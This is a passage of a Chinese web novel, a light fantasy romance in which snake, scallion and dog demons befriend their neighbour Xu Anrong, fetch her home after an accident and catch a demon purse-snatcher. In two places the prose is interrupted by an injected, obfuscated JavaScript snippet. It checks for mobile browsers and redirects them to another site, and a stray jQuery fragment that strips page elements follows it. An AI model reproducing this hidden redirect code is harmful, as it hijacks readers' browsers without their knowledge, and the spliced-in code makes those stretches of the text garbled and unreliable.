蛇妖别别扭扭地坐下,把笔记本电脑搬到腿上,敲敲打打一番后,不知从哪个犄角旮沓拖出来一个文件夹,点开一看里面还有一个压缩包。 “我以前拍了点照片,你们想知道的话,我就给你们看看。” “想想想!看看看!”苗苗叫道。 她认识楚柯这么久,还不知道他有什么私藏的宝贝呢。 徐安容跟她动作一致地点着头,目光灼灼地盯着楚柯,以行动充分地表达了自己被勾起的好奇心,先前采访时的郁闷早已一扫而空。 楚柯对她的眼神很受用,点击解压缩,点开了第一张图片。第一张图是一片古色古香的建筑群,背后紧靠群山,从远处看去只能看见隐在连绵山峦间的少许宅子轮廓。对此,楚柯的解释也很简单。 “这是狐狸精们的老巢。”他介绍道,“如果没有狐妖引路,普通人是闯不进去的。” 后面是几张古宅的近景,他匆匆略过,往后点了七八张,他才又停下来,徐安容和苗苗凑上前一看,那是一对穿着传统中式结婚礼服的新人,男的俊,女的美,容貌放在美人云集的娱乐圈都丝毫不逊色。一身红色喜服的新人手托酒盏,似乎在向什么人敬酒,照片没有将对面的人拍进去,只看到两个年轻人面带笑容好像在说什么。 “这就是狐狸精啊?”苗苗盘腿坐在徐安容怀里,对传闻中美貌惊人的狐狸精嗤之以鼻,“还没有我女神好看。” 徐安容戳戳她的小叶子:“你这是对你女神有滤镜,明明人家也长得很好看。” “狐狸嫁女在每年的三月三,届时所有的狐妖族人都会回到老巢参加婚礼,得到狐妖们邀请的其他妖也可以去参观。我去过两次,其实没有什么好玩的。”楚柯淡然说道。 “这张照片是狐妖新人在敬酒,他们婚礼上有一个习俗,所有的客人依次围坐成一圈,新人要从第一个人开始敬酒,每敬一位宾客,对方就要介绍一遍自己的名字,等喝完一圈下来,再敬第二轮时就要说出这些宾客的名字,如果叫不出名字,就是主人家的礼仪不到,不仅自罚一杯,还要从第一个宾客重新开始。这样的仪式至少要敬三次才算完成,否则就不能完婚。” 徐安容听着这习俗有些耳熟,愣愣地张口:“噶拉仓巴拉丹扎木苏日丹,乌勒吉德勒格列日图楞巴猜……” “容容姐你念咒呢?”小葱妖莫名地抬头。 “没,突然想到了网上流行的一个段子。”徐安容摇了摇头。 楚柯显然也听说过这个笑话,对她的猜测予以了肯定:“嗯,听说第一个想出这规矩的狐狸是从内蒙回来的。” 徐安容想了想,憋出一句:“你们妖怪真会玩。” 苗苗脑回路异于常人,盯着屏幕看了半晌,突然问了一句:“这规矩听起来挺难的,那有没有完婚的狐狸吗?” 这个问题不在楚柯的预料之中,他足足回忆了一分钟才想起来:“听说过有一对新人,刚巧那次来的宾客很多生活在俄罗斯和希腊,名字最长的一位有二十五个字母,最后试了十多次都没成功,新娘直接甩手说不结婚了。” 两个听众齐齐咂舌:“哇……” 蛇妖稍稍有点得意,在她们惊叹声中接着往下拉图片。后面的照片就看不见俊男美女了,只有成双成对的各色皮毛的狐狸。 徐安容看出了点门道:“这是他们的原形吗?” 楚柯颔首:“敬完酒后,这些新人会以原形给宾客献舞,这在他们看来是表达尊敬与热情的方式。” 徐安容看着照片上扭成一团的两只花狐狸,暗暗猜测他们跳的是探戈还是拉丁,不过看来看去都像是在斗殴。 照片已经放映到了尾声,还剩下最后几张,楚柯随意地点过去,忽然表情一变,不等徐安容她们看清,伸手“啪”的快速合上了电脑。 “好了就这些了。” “老蛇,你有问题。”苗苗怀疑地盯着他,悄悄和徐安容咬耳朵,“肯定是不能见人的东西,没想到老蛇竟然是这种妖……” “苗—翠—花。”楚柯阴测测地喊道。 这小葱妖是当他不存在吗,当着他的面就敢诋毁他了,果然三天不打又想上房揭瓦。 “在,大蛇哥有吩咐吗?”苗苗狗腿地扭头。 徐安容也若有所思地盯着电脑,过几秒,又抬头若有所思地看看楚柯,某蛇妖被她看得有点心虚,气势都弱了一截,慌慌张张转移话题:“狐狸嫁女和传言中的不太一样,你们要是有兴趣,下个三月三我可以带你们去。” 同样是妖,狐狸精看起来就可爱多了,而且和苗苗他们待久了,她对妖怪也不再那么惧怕,楚柯提议一出,徐安容就点了头:“行,你说的,三月三我正好有空。” …… 楚柯的访谈稿很快交了上去,没多久就挂到了网站首页。 徐安容看着底下一水的夸赞楚柯的评论,恨不得抡起键盘扑上去,揪着他们的衣领揭发楚柯的真面目。什么年少有为,活了不知道几百年的老妖怪,写作经历比你爷爷岁数都长,把访谈原稿放出去,看你们还叫不叫得出男神! 想是这么想,等看见那些批评楚柯的言论时,她又坐不住了,一个一个挑出来怼了回去,心里气得不行。人家写文的时候你连受精卵都不是呢,以他的岁数,指不定还和民国时期的文学大佬们有交情,你们又算哪根葱? 等这场访谈风波过去,楚柯加入新网站的热度渐渐平息,转眼大半个月过去了。 年关将近,小偷和变态也多了起来,或许是想着干几票大的好回家过年,这十几天里陆陆续续有受害的新闻报道出来,光是陆北亭小区这一带的案件就有三起。苗苗看着逐渐攒起来的新闻忧愁地叹了口气。 “唉……” 大黄懒洋洋地趴在电视机前问她:“怎么最近看起新闻来了?” 苗苗难得变成萝莉形态,坐在凳子上晃荡着白白的两条小细腿,一手撑着脸,一手握着鼠标点点点,闻言也懒洋洋地说道:“因为最近这样的新闻很多嘛,总是推送就留意上了。而且容容姐不是要上班吗,每天回来天都黑了,我总要关心她一下。” “你倒是真的很喜欢容容小姐。” “嗯,你不也很喜欢嘛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820028|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苗苗一脸“我早就看透你了”的表情:“上次我看见你把游戏角色的昵称都改成了容容,对吧大黄?” 哈士奇摇了摇尾巴,不作回答。 苗苗继续刷微博,刷着刷着又看了眼时间,眉头立刻皱了起来。 “大黄,现在都快十点了。” “是快十点了,怎么了?” “容容姐还没回来,你还问怎么了!”苗苗的脑海里瞬间闪过了十几条最近看过的社会新闻,什么妙龄女子下班回家被抢劫,女大学生深夜失踪等等,顿感焦虑,“不会是出什么事了吧?” 徐安容的公司离陆北亭小区有些距离,若是交通顺畅,大概三四十分钟能到,要是遇上堵车,即便有地铁也要花上一个多小时,平时到家大约七八点,即便她加一会儿班,九点左右也该到家了,可今天都快十点了还没回来,明显不对劲。 苗苗越想越害怕,忍不住跑去敲书房的门。楚柯这几天又到了交稿期限,整天把自己关在书房里,她平时不太敢去打扰,可现在忧心徐安容的安危也顾不上那么多,直接拍门召唤楚柯。 “老蛇老蛇老蛇——” 叫到第三声,楚柯黑着脸拉着了房门。 “有事?” 苗苗顿了一下。 “没事就滚,忙。”楚柯准备关门。 “有有有!”苗苗卡在门边快速点着头,跟复读机似的把自己跟大黄说过的担忧又说了一遍。楚柯听着听着,眉头也皱了起来,“会不会是她和别人约了出去玩了?不一定是出事了,也说不定是延长了加班时间。” “可是……”苗苗瘪瘪嘴,一副想哭的样子,“我刚刚打了容容姐的电话,提示音是已关机,容容姐昨天还说今晚回来要给我做粉蒸肉的,她不可能无故爽约。最近坏人这么多,容容姐又这么弱……” 楚柯扶着门低头问她:“那你想要我干什么?” 萝莉苗苗才刚到他腰间,被他这么一看,默默地低下了头,伸手扯住他的衣角:“老蛇,你身体好了没啊?我们去找容容姐呗?” 小葱妖还记着上次楚柯因为她被冻了一回的事,又想去找徐安容,又怕他身体吃不消,显得很是为难。 “其实……我买了很多暖宝宝,足够贴满全身的那种……”她偷偷抬眼瞄着楚柯,后者按下大掌使劲搓了搓她的头顶,大概是对小妖精“吃里扒外”有点不爽。 “行了,我已经没事了。那就去找她吧。” 楚柯想起徐安容纤细的身影,眉头皱得更深了一些,万一她遇上歹徒,那还真跑不过。 带上大黄,三妖全副武装地出了门。 先沿着徐安容上班必经的路线找了一遍,没见到人,又赶去她工作的地方找人,也同样扑了个空。 楚柯紧抿着唇,望着冬日夜里空荡荡的大街,眉头拧得都要打死结了,苗苗在他口袋里小声抽噎,大黄跟在他身后也不发一语。 三妖沉默地往回走,路灯将他们的影子长长的拖在身后,一种淡淡的愁绪笼罩在他们之间,谁也不敢先开口打破这一种微妙的氛围。楚柯捏着手机,修长的手指用力地握着,犹豫要不要报个警。 路过一段街灯晦暗的道路,他终于下定决心按下了三个数字,忽然听见前方传来了一个软糯的声音,忿忿地骂道:“哎哟我去,谁这么缺德挖的坑!” 他抬头望去,只见昏暗的光线里有个身影正一瘸一拐地往前走。 22. 22 单身狗 那个身材,那个声音……是徐安容! 他刚确认对方的身份,大黄已经先一步叫了起来,“咻”的跑到徐安容身边,亲热地围着她蹭蹭蹭。碍于在室外不能随意开口说人话,大黄只好兴奋地汪了几声,引得附近不知是哪里的野狗也“汪汪汪”地开始回应。 “嘘,安静点。”徐安容赶紧制止他,“还有,我身上有伤,你别扑上来。” 大黄不动了,听话地坐下来。 徐安容乍然见到他既惊讶又开心,等他安静下来又奇怪他怎么会单独出现在这里,难道是来找她的?楚柯会把他单独放出来? 疑惑的念头刚起,她转向大黄来时的方向,一个身材高大的男人正大迈步朝她这边走来,他穿着厚实的羽绒服,帽子盖过头顶,戴着口罩和手套,看这全副武装的架势都能直接出发去南极。 “楚柯?”她惊讶地喊出了蛇妖的名字。 蛇妖低头看她,白皙的脸蛋被寒风吹得有些发红,长发没有扎成马尾,乱糟糟地散在脑后,脸颊上有一道擦伤,不过不太严重,但配合她整个人目前的样子就显得格外可怜,像是受了几天折磨刚从传销窝点里逃出来似的。 这让蛇妖觉得有点不舒服,闷闷地应了声,视线从她脸上的擦伤移开,往下落在她微跛的右脚上,浓眉紧蹙。 “刚才摔的?”他沉声问道,语气里压抑的一丝怪异的烦躁除了苗苗稍有察觉,狐疑地从口袋里冒出来看了他一眼外,谁也没有发现。 他刚刚在后面只听见徐安容骂了一句,然后就看见她一瘸一拐地往前走,理所当然地当成了她是在那里摔了一跤。 徐安容摇了摇头,否认道:“不是,今天比较倒霉,说来话长,刚刚就是被坑绊了一下。” 今天确实格外倒霉,从早上出门忘了戴围巾开始就一直厄运连连,说话的时候,冷风从她毫无遮挡的脖子里钻进去,冻得她整个人都哆嗦了一下。楚柯在她身前蹲下,示意她趴到背上。徐安容有些意外,在他第二次催促时才轻手轻脚地趴了上去。 她看着纤细,分量却没有想象中那么轻,楚柯感觉手上沉了沉,接着耳边就传来了她细弱蚊蝇的道歉声:“那个……不好意思,最近可能……有点重了……”声音越说越低,最后几不可闻,如同鸵鸟似的把脸埋在了他颈窝处。 楚柯佯作未闻,稳稳地背着她往家走,大黄踩着他们的影子跟在身后,苗苗不安分地从口袋里爬出来,一直爬到楚柯的肩头,与她面对面,小小地叫了一声。 “你们是特意来找我的吗?”徐安容抬起脑袋看着苗苗,话却是在问楚柯。 “苗苗看你这么晚还没回来,很担心你。”楚柯说道。 苗苗接着话茬点头道:“就是啊,容容姐,你不知道最近这一带很危险,坏人特别多,你一个人走夜路很不安全的,我今天打你好几次电话也没打通……” 小葱妖喋喋不休地念叨着,楚柯嫌她啰嗦,又怕被人发现她的怪异,伸手把她拎了下来,塞回口袋里。苗苗悻悻地朝他扮了个鬼脸,也知道现在不是适合说话的时候,乖乖地躲了回去。 三妖一人沉默地走着,偶尔冷风呼啸,吹起徐安容的长发,有几根调皮地飞到了楚柯的脸上,留下痒痒的触感。他嗅着那股若有似无的香气,心跳莫名地跳快了两拍,又不知缘由,于是凝下心神,开口转移了注意力。 “你今天是在加班吗?怎么会受伤?” “今天没有加班,只是在快下班的时候临时开了个会。主要是今天特别倒霉……”徐安容虚虚地环着他的脖子,由内而外透露出沮丧,“早上闹钟没有响,不小心睡过了头,出门太匆忙所以忘了戴围巾和充电器,下班之前手机就没电自动关机了。乘坐的地铁半路停下来清客,说是好像地铁站出了什么问题。” 话匣子一打开,她就停不下来了:“下来的那一站附近刚巧没有回来的公交,我也打不到车,只好去找周围的公共自行车,结果骑回去的路上经过一条巷子突然冲出来一辆摩托,车上两个醉鬼根本不看路,从我边上擦过去把我带得摔了一跤,等起来我就发现脚好像崴了,没办法骑车,看离家也不远就决定慢慢走回去,谁知道刚才路上有个坑,又被绊了一下。” “啊啊啊啊!今天真的好倒霉!”她郁闷地呻/吟着,下意识勒紧了胳膊。 楚柯被她突如其来的谋杀举动唬了一跳,缓了缓气才平静说道:“松开一点。” “啊?” “你的手。” “哦哦哦。”徐安容不好意思地收回手,脸瞬间涨得通红,手足无措地道歉,“不好意思啊……” “对了,你冷不冷啊?出来不要紧吧?不会和上次一样冻得睡过去吧?” 大概是为了打破尴尬的局面,她碎碎念了许多问题,楚柯听她念着,没有说话,拐了个弯在红绿灯前停下,她从背后抬头看了看,发现这不是回家的方向。 “诶?去哪啊?” “你不是受了点伤吗?我记得这边有个小诊所。” 绿灯亮起,楚柯背着她又走了几百米,在一排街铺中间找到了唯一一家没有挂招牌的小诊所。 “连个牌子都没有,怎么看着这么像黑店。”徐安容在他背上小声嘀咕,“该不会是什么黑心诊所吧?” “不是。”楚柯神色淡然,“就是家兽医诊所,老板加员工一共才两人,所以懒得挂招牌。” 徐安容恍然地点头,忽然动作一顿:“等等啊,这是兽医,你带我来干什么?” 楚柯又不说话了,背着她推开玻璃门走进去。屋里的办公桌后坐了一个戴眼镜的中年人,一头微卷的黑发乱得像鸟窝,正就着台灯的光线翻阅报纸,听见开门声,抬头眯着眼看了看,然后就朝隔壁屋挥了挥手。 “消毒药水创可贴都在隔壁,自己去解决,完了来付钱。” 楚柯点点头,背着徐安容去隔壁。橱柜里用具齐全,楚柯拿了棉签和消毒药水回来,就见徐安容坐在长凳上眼睛不安分地左右瞟着。 “总感觉怪怪的。”她说着拈起了长凳上的两根白色毛发,举到眼前仔细端详,“这是猫毛还是狗毛?” “猫。” “诶诶诶?你怎么知道?妖怪的嗅觉都这么好吗?” “小声点,还有,别乱动。”楚柯转头看了一门之隔的兽医先生,然后按住了徐 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大黄在门口等得有些焦急,来回地踱步。徐安容眼泪汪汪地趴在楚柯身上出来,见他这样不由有些奇怪:“大黄怎么不跟进去?哦,对了,你怎么知道这里有一家宠物诊所的?妖怪也要看兽医吗?” “这两个问题其实是一件事。” 楚柯慢条斯理地解释道:“我们不看兽医,大黄是个例外。前两年大黄有一次不小心卡了块骨头,我送他来这里找医生,里面那位祝医生把骨头取出来后就想顺手帮他把绝育做了……” 徐安容听到这里就了解了,关乎下半生幸福的事差点一照毁在祝医生手里,大黄就是心胸再开阔也不可能对祝医生和颜悦色。 她又想起来刚才楚柯把那位祝医生叫进来给她看脚伤时对她说的话。总共两句,第一句是“后肢抬起来”,第二句是“没什么问题,扭伤而已。对了要不要顺便做个绝育……哦,不好意思,职业毛病了。” 徐安容揪着楚柯帽子上的绒毛,内心嘤嘤抽泣——决定了!接下来的一年内都不会从这边走了! 楚柯不知道她内心在想什么,步子稳健地离开了小诊所,途经超市,徐安容忽然叫住了他。 “再等等,我想去进去买点菜,苗苗昨天和我说想吃粉蒸肉来着。” 楚柯抬头看了眼流动显示屏上的时间,折腾了这么一番,时间已经逼近11点,不由皱眉:“这么晚了,别管她了。她又不需要天天吃饭,你别太宠着她。” 小葱妖闻言,在他口袋里默默地呸了一声:死蛇妖,有异性没人性。 徐安容正因苗苗来找她而觉得暖心呢,好感度升得老高,才不觉得这么做麻烦,坚持道:“我没宠她,但是失信总是不好的,而且我也还没吃饭呢。” 话音落,肚子配合地“咕”了一下。 徐安容红着脸,声音软绵绵地喊他:“楚柯~” 蛇妖大人也默默地红了脸,停顿一下,背着她迈开步子往超市走去。大黄及时跟上,一只爪刚踏上超市地板,一个凶神恶煞的老太太就提着扫把走了过来。 “宠物不准进超市,出去出去!” 23. 23 怀春 不得不说,苗苗这小妖精特别讨人喜欢,尤其经过了那一夜,更是彻底笼络了人心。徐安容隔三差五上门给她送点小零食小点心,把楚柯看得直皱眉,三令五申不要宠坏小葱妖。 “老蛇你这是嫉妒!嫉妒!” 苗苗气得直跳脚,某蛇面不改色地收走徐安容送来的一大袋糖果和饼干,抠抠巴巴地掏出一根棒棒糖递给苗苗,美其名曰今日的零食份额。 “未成年小妖吃太多甜食不好,会开不出花的。”蛇妖睁着眼睛说瞎话。 徐安容信以为真,点点头:“哦,那苗苗你就少吃点吧。” 苗苗拉着她的裤脚哭嚎:“容容姐你别被老蛇骗了啊!他就是嫉妒我!我一定能开花的!给我甜食我爱甜食!” 哭声未绝,蛇妖冷酷无情地把她丢回了小花盆。 几次过后,徐安容看出了一点门道,每次给楚柯做的小饼干和点心数量都要比苗苗和大黄多一倍,蛇妖大人这才勉勉强强答应了小葱妖把每天的零食份额再翻一番。 “我们都不爱吃甜食,你也不用经常做,免得耽误你工作,未成年的小妖真的不能多吃。”蛇妖再次重申。 徐安容看着他嘴角隐约残留的一点饼干碎屑,抿唇偷偷地笑了笑。苗苗说过的那三个字是什么来着?好像叫做死闷骚? 她一脸真诚地点着头,回头送来的甜点却依然不少。楚柯嚼着小饼干躺在沙发上,抱着笔记本把键盘敲得噼啪响,语气颇有几分得意:“怎么样,我就说就算有非分之想也是她对我吧?我都让她不要再送了。” 苗苗盯着被他圈拢在怀里的一袋子点心,气得在花盆里直摔小叶子:死蛇妖!禽兽!不要脸! 徐安容不知道自己的点心每次都要引发一场内讧,正窝在家里开开心心地收拾过年回家的行李。她是南方人,来北方念的大学,毕业后顺理成章留在了京市工作,当起了“北漂”一族。平时来往不便不常回家,到了过年却是必须要回去和家人团聚的,否则不仅父母要轮流打电话来念叨她,她自己心里也过意不去。 她心情愉悦地哼着歌,将要带回去的衣物翻出来清洗晾晒。刚把几件毛衣丢进洗衣机,门铃就一叠声地响了。她走过去打开门一看,外面站了一个长相严厉的老太太,满头银丝做成了小波浪卷发,看着很是精神。 徐安容看见她就笑了:“吴阿姨好,今天来是有什么事吗?” 吴老太太的胸前挂了一个工作证,写着“陆北亭小区居委会”,臂上还戴了一个红袖章,徐安容搬过来的第二天就见过她,后来在小区里也打过几次照面,算是半个熟人。 见她笑吟吟地打招呼,吴老太太的脸上也露出了一丝笑容,她虽然长得严厉,语气却很和蔼:“还叫什么阿姨啊,我的年纪当你奶奶都够了,就你嘴甜会哄人。”她从挎着的布包里摸出一本小册子,递给徐安容,“最近不是年底了吗,偷鸡摸狗的人多,连我们小区都发生了一两起。上面决定增强居民防盗意识,派我们来每家每户发些宣传资料。” 徐安容接过宣传册子一看,首页就是一行黑体大字:关于宣传提高居民防范意识,有效预防盗窃案件发生的通知。 吴老太太发完了宣传资料也不急着走,站在门口拉着徐安容细细叮嘱:“你一个女孩子单独住,一定要注意安全,平时门窗要关好……” 徐安容笑眯眯地听她嘱咐,边听边点头:“您说的是,我一定注意安全。不过过年的时候我就要回家了,应该不会有事,您放心。” 老太太横她一眼:“你们年轻人啊,就是不肯把话放心上,你人不在那不更方便小偷了吗?不得好好防盗?” 徐安容只能答是,吴老太太觉得孺子可教,叮嘱完要走,刚下了两步楼梯又折返回来。 “哎哟,瞧我这记性。” “吴阿姨您还有事吗?”徐安容把门又打开了。 “有是有,不过和你就没关系了,是隔壁那家。”吴阿姨朝对面703努了努嘴,“刚想起来这一家还没去过呢。” 提起703,吴阿姨就来气:“这一家也不知道怎么搞的,平时就没见过人影,偶尔有个社区通知要发,得来个三四趟才给开门。要不是水电费一直有人交,我还当他们早就搬走不住了。” 她边敲门边和徐安容数落楚柯一家的不是:“我跟你说啊,别看这一户的那个小年轻长得人模狗样的,这成天闷在屋里头,也不像有个正经工作的样子,长得再好看也是白搭,指不定是什么二流子呢,男人啊,最不能看脸了……” 她曾试图给徐安容介绍自家的孙子,虽然被婉拒了,可心里一直念着,看来到现在也没有放弃。 徐安容哭笑不得,打算替楚柯辩解两句:“吴阿姨,人家有正经职业的,在家办公,平时您来的时候可能他在赶稿没听见……” 吴老太太撇撇嘴,还是不太认可,嘴巴张了张,正要继续说话,手底下忽然拍了个空,抬头一看,门开了,口中那个不务正业白瞎了那张俊脸的男人居高临下地俯视着她,眼神冷飕飕的,像蛇一样。 “有事?” “吴阿姨是来发防盗宣传册的。”徐安容插话解释了一下。 经过这段时间的相处,她也看明白了,楚柯就像苗苗说的那样,外表看着生人勿近,等熟悉之后就知道高冷只是表象,其实内里还是一个五讲四美的好妖,所以并不怎么畏惧他的冷气。 果然,听完她的解释,楚柯看过来的眼神就缓和了许多,伸出手语调平平地说道:“拿来。” 吴老太太仍有些不忿,敢怒不敢言,掏出宣传册拍在他手里,哼了一声扭头就走。 徐安容送她下了两级台阶回来,楚柯还在家门口站着。她转念一想,猜到楚柯可能是听见了吴老太太数落他的那些话,不由觉得好笑。 “那个女人很啰嗦。”楚柯忽然说道,他换了个姿势倚在门边,像是在抱怨,“她以前想给我介绍对象,知道我不用 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一直摸索着楚柯的性格,徐安容甚至有了一点心得。 蛇妖大人觉得舒坦了,被吴老太太打扰的不悦也随之烟消云散,又聊了几句准备回去接着画画,徐安容却叫住了他。 “苗苗有空吗?我有点事想找她。” 楚柯回头扫了眼客厅,一眼就望见了正在电脑前蹦蹦跳跳着调试麦克风的小葱妖,大步走过去把她捧起来,回到门口,将小葱妖丢到了徐安容怀里。 “她有空。” …… 二十分钟后,楚柯完成了收尾工作从书房出来,身子一矮,变回了原形卷着衣服爬上沙发。刚躺下,就见苗苗从阳台爬了回来,溜溜达达到电脑跟前,打开音乐播放器,小叶子哒哒哒地敲了几个文字,然后搜出来一串歌单。 楚柯看得奇怪:“你怎么回来了?” “容容姐找我有事啊。”苗苗随口答道,调大了音响,凤凰传奇的歌声就从里面飘了出来。大黄嗷呜一声,捂着狗耳朵滚远了一些。 “我知道她找你有事,所以你怎么回来了?” “哦,我回来给容容姐找歌。” 楚柯还是没听懂:“嗯?” 苗苗一首一首放着,听一半就换,清脆娇俏的少女音夹在一片动感的音乐中传来:“容容姐他们公司年会要表演节目,她苦恼要表演什么,我就告诉她可以教她唱歌。容容姐说她唱歌跑调,所以我回来找一首简单一点的。” 小葱妖的声音几乎是吼出来的。 满屋子的音乐声听得楚柯感觉蛇头一个顶两个大,裹紧毯子从缝隙间露出一双眼睛盯着苗苗。 “那你把音量调小点。” 苗苗听话地把音量降低了一点,转过身来看着某蛇:“这样可以了吧……哦哟!” 她忽然吹了个口哨:“老蛇,你这一脸少男怀春的表情是怎么回事?” 24. 24 夜里可能有妖怪 楚柯听见“少男怀春”几个字脸就黑了,可他又没有底气否认苗苗说得完全不对,刚才那么一瞬间他是有在想徐安容,想她夸他的那几句话,但是……但是这怎么能叫做少男怀春? 苗苗嘿嘿笑着,在他恼羞成怒地呲出蛇牙前一溜烟跑回了徐安容家里。 大黄耷拉着耳朵走过去关掉音响,定定地打量了蛇妖几眼:“苗苗说得对,是有点怀春。” 连他都从那张蛇脸上看出了一丝荡漾。 楚柯:“……你们够了。” 他裹紧毯子翻了个身,安静的室内可以清晰地听见隔壁的动静。音乐声慢慢放大,歌词响起,还是那首熟悉的《爱情买卖》,接着又是凤凰传奇和玖月奇迹轮番上阵。 蛇妖听得满脸黑线。 “她们俩的品味……是准备放弃唱歌改跳广场舞吗?” “你以为她们之间的交情怎么变深的?不就是因为相似的品味吗?”大黄也吐槽道,慢慢挪动步子躲进了书房。 他是犬妖,对声音一向最敏感,每次苗苗唱歌他都尽量躲着,对这些广场舞神曲敬谢不敏,更别提现在徐安容和苗苗的二重唱简直魔音入耳。 楚柯甩了甩尾巴,犹豫了一下,也卷着毯子回了卧室。 接连两天苗苗都跑得很勤,第三天楚柯看到她又重操旧业开起了直播反倒觉得很惊讶。 “你不是教她唱歌去了吗?” 正好直播结束,苗苗关掉麦克风,颓废地趴在键盘上,有气无力地回答道:“是啊,教完了,容容姐公司年会就是今天。” 楚柯看她怏怏不乐的模样有些奇怪:“那你怎么了?” “唉,没什么。”向来没心没肺的小葱妖居然叹了一口气,“容容姐唱歌实在没什么天赋,我带她唱了两天,她依然徘徊在跑调边缘。昨天晚上她告诉我,她和她同事决定换一个才艺表演” “然后呢?表演什么?” “表演讲冷笑话。” 苗苗说完,又重重叹了一声。 她唱歌那么好听,还耐心指导了两天,最后学生竟然选择了表演讲冷笑话,真是老伤妖心了。 “噗——”毫不给面子的嘲笑声从书房门口传来,苗苗瞪眼望去,哈士奇笑得一脸欠揍。 苗苗情绪低落,一反常态地没有和他计较。 墙上时钟嘀嘀叫了两声,又到了整点。楚柯看了眼时间,然后开始换出门的衣服。系上围巾,穿好鞋,苗苗已经重振了心情,小碎步跑到他身边。楚柯娴熟地把她捞起来揣进口袋,推门而出。 大黄照例留在家里看家。 自从上次徐安容回家路上崴了脚,苗苗担心她就撺掇着楚柯接她下班,接了几回后楚柯已经养成了习惯,再无怨言,每天准时出门。反而徐安容觉得很不好意思,几次和他说不用来接。 “也不都是因为你,苗苗整天闷在家里,就是借着这机会出来放风,接你是顺路。而且……”楚柯迟疑了一下,不知道该不该告诉她这个消息,“最近这边不太平。” 他得到消息,这一带最近疑似有妖怪出没,如果仅仅是人类中的歹徒那还没什么,要是真的有其他妖怪出没,遇上可就麻烦了。 徐安容听他这么说,也就默认了,与他并肩往回走。 路上苗苗问起公司年会的事,徐安容笑了笑说道:“今天运气还不错,抽到了一等奖,是温泉旅行的家庭套票。” 苗苗对奖品不感兴趣,只对年会上的表演很执着:“所以,容容姐你真的表演了讲冷笑话吗?” “咳、咳咳……”徐安容尴尬地扭头,“让我们换一个话题好不好?这件事说起来我就想死一死。” 看出小葱妖还想追根究底,她轻咳一声,生硬地转移了话题:“你之前说最近这边不太平是怎么回事?是指之前的那些盗窃抢劫案件吗?” 她听同事讨论过最近发生的几起拦路抢劫案,甚至在苗苗给她看的新闻里还看见了两起单身女性夜间下班路上被人尾随的案子,理所当然就将这些案件和楚柯说的联系在一起。 楚柯摇头:“不完全是。我得到一个消息,附近可能有其他妖怪出没,而且那些案子里可能就有这个妖怪干的。” 他说着,忽然闻到了一股若有似无的幽香,香气引得他追寻着望向了源头。 徐安容见他莫名其妙地停了下来,还死盯着自己肩膀看,忍不住往后缩了缩。 “怎么了?” “你之前是不是接触过什么奇怪的人?”楚柯皱起了眉,表情甚至说得上凝重。 “奇怪的人?没有啊。”徐安容顺着他的视线狐疑地看向自己肩头,想了想,有一段短暂的记忆蓦地划过脑海,“啊!我想起来了,我和同事出来在门口等你的时候和一个带鸭舌帽的外卖小哥撞了一下,因为是不小心,所以我也没有放在心上。” 她看了眼什么也没有的肩膀,语气紧张起来:“怎么了?是不是有什么问题?” “是有问题。”楚柯说着,伸出手指在她肩上拈了一下,抬起手,路灯照耀下,有几点亮粉似的东西在他指尖反射着微弱的光芒。 那东西实在很微小,徐安容今天穿的又是白色的羽绒服,更加难以发现,如果不是楚柯特意给她看,她甚至不知道自己什么时候沾上了这样的东西。 “这是什么?” “花粉。”楚柯回答道,凝重的表情仍然没有改变,“但不是普通的花粉,它有妖气——” 说曹操,曹操到。 话音未落,一个黑色的身影从侧后方猛地扑过来,一把抢走徐安容拎着的小包包就不管不顾地往前跑。 变故发生在眨眼之间,徐安容捂着勒疼的手臂,后知后觉地想要追上去,楚柯已经先一步追到了劫匪身后,看着正在狂奔的黑衣人,眼中闪过一丝凌厉,对准他的后腰就是一记横踢。 劫匪扑街。 几百米的距离,徐安容赶上去的时候,抢了她包的那位仁兄正被楚柯踩在脚下“哎哟哎哟”的叫唤,楚柯蹲在他跟前,一手拎着包一手按着他肩膀,很有她曾经看过的警匪片的特/警的架势。 劫匪听见她的脚步声,挣扎着侧过头求饶:“对不起小姐我今天是第一次抢劫技术还不熟练不对不对是我不好我不该抢劫求你放过我吧我真的还是第一次啊!” 徐安容听着他那段没有停顿标点的话,一时间觉得槽点无数。 第一次抢劫就不是抢劫了吗? “报警吧,让警察来处理。”她对楚柯说道。 “不急。”楚柯摇了摇头,“在这之前还有件事要处理。” 徐安容刚想问什么问题,苗苗扒着她的手指悄悄露出了脑袋,鼻子嗅了嗅,忽然惊讶地叫道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820031|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诶?这个人身上有妖气!” 楚柯毫不惊讶地点点头:“嗯,这个人身上有妖气,或者说他本身就是妖……对吧?”他抬起了劫匪的脸,摘掉他的鸭舌帽和口罩,一张精致秀美却充满了震惊的脸映入了他眼中。 “你们怎么知道我是妖?”劫匪不可思议地反问道。 楚柯没有理他。 嗯?这长相好像不太符合劫匪的身份。 楚柯打量着他的脸下意识地想道,然后忍不住把他和自己做了下对比——嗯,还是没有我好看。 劫匪兄就没有他这么多念头了,之前一直被踩在地上,他没有见过楚柯长什么样,现在猛然一见,等稍稍看清后,震惊的表情立刻转变成了惊恐。他死命嗅了几下,表情接着从惊恐变成了一片死灰。 “你你你你你!” 徐安容目瞪口呆地看着劫匪兄突然被盖章成了妖,又从好端端的妖变成了一个结巴,不知道这是什么神展开。 